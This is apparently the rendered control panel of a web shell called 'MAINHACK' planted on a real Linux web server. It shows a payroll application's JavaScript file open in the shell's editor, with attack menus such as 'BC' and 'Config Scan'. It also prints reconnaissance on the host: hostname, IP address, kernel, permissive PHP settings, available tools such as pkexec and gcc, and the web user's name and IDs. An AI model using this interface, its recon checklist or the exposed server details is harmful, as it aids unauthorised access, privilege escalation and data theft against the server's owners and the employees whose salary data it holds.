[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: print_salary.js
$(function () { let title = $(".filter-modal-title").html(); let The_Month_field_required = $("#The_Month_field_required").val(); let The_Year_field_required = $("#The_Year_field_required").val(); //set add salary button text setTimeout(() => { $(".dataFilterBy").html(`<iconify-icon icon="solar:add-circle-broken" width="22"></iconify-icon> ${title}`); }, 700); $(document).on('click', '.printNow', function(e){ "use strict"; e.preventDefault(); //print salary let id = $(this).attr('data-id'); let newWindow = open("printSalary/"+id, 'Print Salary', 'width=1600,height=550'); newWindow.focus(); newWindow.onload = function() { newWindow.document.body.insertAdjacentHTML('afterbegin'); }; }); $(document).on('click', '.salary_gen_form', function () { let error = false; let month = $('.s_month').val(); let year = $('.s_year').val(); if (month == '') { error = true; $('.month_err_msg').text(The_Month_field_required); $('.month_err_msg_contnr').show(200).delay(6000).hide(200, function () {}); } if (year == '') { error = true; $('.year_err_msg').text(The_Year_field_required); $('.year_err_msg_contnr').show(200).delay(6000).hide(200, function () {}); } if(error == true){ return false; } }); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.06 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002